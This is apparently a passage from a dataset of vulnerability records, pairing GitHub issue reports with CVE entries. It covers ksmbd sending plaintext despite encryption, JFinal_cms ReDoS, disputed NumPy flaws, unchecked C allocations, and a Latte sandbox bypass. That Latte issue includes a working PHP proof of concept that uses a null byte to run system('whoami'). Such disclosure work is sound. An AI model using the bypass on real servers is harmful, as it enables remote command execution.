guest ok = no
```
Despite "smb3 encryption" set to yes, communications are still being made in plain text according to Wireshark.
During the initial negotiation, both the client (a Windows 10 machine running 21H1, compilation 19043.1348) and the server agree on using 3.1.1 and AES-128-GCM:
On the the session setup request, however, the client decides to no longer flag it supports encryption, and thus request a plain text connection for unknown reasons:
Worse is, ksmbd agrees and goes on, ignoring the request to enforce encryption and just sending data on plain. The following screenshot displays a plain text ASCII message from opening a file which shouldn't be visible:
I am not sure if being made in plain text is an error on the Windows side or not, but at the very least ksmbd should probably deny connections if the user requested encryption in the settings.
Attached here is a .zip file with a Wireshark log of the entire packet exchange, from the initial connection to the desconnection: [comms.zip](https://github.com/cifsd-team/ksmbd/files/7715862/comms.zip) | Plaintext connection despite encryption enabled | https://api.github.com/repos/cifsd-team/ksmbd/issues/550/comments | 8 | 2021-12-15T01:44:51Z | 2021-12-16T13:08:55Z | https://github.com/cifsd-team/ksmbd/issues/550 | 1,080,469,469 | 550 | 2,866 |

The JFinal_cms is vulnerable to regex injection that may lead to Denial of Service.
User controlled `path` and `contextPath` are used to build and run a regex expression (first argument to replaceFirst):
https://github.com/jflyfox/jfinal_cms/blob/1a9653264be5a2fcf3641ae2aa5f14fc188fd192/src/main/java/com/jflyfox/modules/filemanager/FileManager.java#L929-L949
Since the attacker controls the string and the regex pattern he may cause a ReDoS by regex catastrophic backtracking on the server side.

CVE-2021-33430 | 2021-12-17T19:15:07.500 | A Buffer Overflow vulnerability exists in NumPy 1.9.x in the PyArray_NewFromDescr_int function of ctors.c when specifying arrays of large dimensions (over 32) from Python code, which could let a malicious user cause a Denial of Service. NOTE: The vendor does not agree this is a vulneraility; In (very limited) circumstances a user may be able provoke the buffer overflow, the user is most likely already privileged to at least provoke denial of service by exhausting memory. Triggering this further requires the use of uncommon API (complicated structured dtypes), which is very unlikely to be available to an unprivileged user | {

### Bug Description
There is a way to bypass allowFunctions that will affect security.
### Steps To Reproduce
```php
<?php
error_reporting(0);
require 'vendor/autoload.php';
$latte = new Latte\Engine;
$policy = new Latte\Sandbox\SecurityPolicy;
$policy->allowFilters($policy::ALL);
$policy->allowMacros(['if','=']);
$policy->allowFunctions(['strlen']);
$latte->setPolicy($policy);
$latte->setSandboxMode();
$latte->setAutoRefresh(false);
file_put_contents('index.latte',"{=system\x00('whoami')}");
$latte->render('index.latte');
```
This will execute the system function.
### Expected Behavior
Should throw an error not allowed by `system` function
### Possible Solution
Use rigorous regular expression segmentation, or add more rigorous judgments in `isFunctionAllowed` function

CVE-2021-41495 | 2021-12-17T20:15:08.477 | Null Pointer Dereference vulnerability exists in numpy.sort in NumPy < and 1.19 in the PyArray_DescrNew function due to missing return-value validation, which allows attackers to conduct DoS attacks by repetitively creating sort arrays. NOTE: While correct that validation is missing, an error can only occur due to an exhaustion of memory. If the user can exhaust memory, they are already privileged. Further, it should be practically impossible to construct an attack which can target the memory exhaustion to occur at exactly this place | {

### Reproducing code example:
#### The definition of PyArray_DescrNew
```
NPY_NO_EXPORT PyArray_Descr * PyArray_DescrNew(PyArray_Descr *base)
{
PyArray_Descr *newdescr = PyObject_New(PyArray_Descr, Py_TYPE(base));
if (newdescr == NULL) {
return NULL; ----------------> **point 1**
}
.........
if (base->c_metadata != NULL) {
newdescr->c_metadata = NPY_AUXDATA_CLONE(base->c_metadata);
if (newdescr->c_metadata == NULL) {
PyErr_NoMemory();
/* TODO: This seems wrong, as the old fields get decref'd? */
Py_DECREF(newdescr);
return NULL; ----------------> **point 2**
}
}
........
if (newdescr->subarray) {
newdescr->subarray = PyArray_malloc(sizeof(PyArray_ArrayDescr));
if (newdescr->subarray == NULL) {
Py_DECREF(newdescr);
return (PyArray_Descr *)PyErr_NoMemory(); ----------------> **point 3**
}
}
.........
return newdescr;
}
```
#### Call-site example for PyArray_DescrNew
```
NPY_NO_EXPORT PyArray_Descr *
PyArray_DescrNewByteorder(PyArray_Descr *self, char newendian)
{
PyArray_Descr *new;
char endian;
new = PyArray_DescrNew(self);
endian = new->byteorder; -----> direct read through "new“
......
}
```
### Error message:
At most call-sites for PyArray_DescrNew, there are no validations of its return,
but an invalid address may be returned.

### Error message:
**File**: numpy/f2py/src/fortranobject.c
**Function**: array_from_pyobj (line 724 : 733)
**Optional call-path**: External -> fortran_setattr -> array_from_pyobj
**Details** in [description](https://github.com/Daybreak2019/IssueReport/blob/master/Numpy/case-10031/10031.png)
When we run our analysis tool on NumPy, a few Inappropriate string operations are reported at call sites of function strcpy, sprintf, and strcat in array_from_pyobj. There are no boundary checks at these points despite "mess" seems large enough to ensure the operations safe except for the point shown above.
As a suggestion, it is better to replace these functions with strncpy, strncat, and snprintf.

#### Description
In CMS_Conservative_init, w is received from Python code.
Its size is not validated hence "self->table[i] = (CMS_CELL_TYPE *) calloc(self->width, sizeof(CMS_CELL_TYPE));" may fail , which cause the Null pointer.
self->table[i] would be accessed in CMS_Conservative_increment_obj, which make the Python crash down.
#### Steps/Code/Corpus to Reproduce
```
static int
CMS_VARIANT(_init)(CMS_TYPE *self, PyObject *args, PyObject *kwds)
{
.........................
for (i = 0; i < self->depth; i++)
{
self->table[i] = (CMS_CELL_TYPE *) calloc(self->width, sizeof(CMS_CELL_TYPE));
printf ("[%d]self->table[%d] = %p \r\n", i, i, self->table[i]);
}
...........................
```
**Optional call-path**: increment -> CMS_Log1024_increment -> CMS_Conservative_increment_obj
#### Expected Results
when w is set as an arbitrary number, Python can not crash down.
#### Actual Results
crash
#### Versions

### Description
**Function**: Server_jack_init
**File**: ad_jack.c
**Call-path**: boot (Python) -> Server_boot -> Server_jack_init
**WarningType**: read-overflow. Our analysis tool reported a warning at the call-site of strncpy. As client_name is not initialized, it may has no terminator after strncpy hence to cases read-overflow.
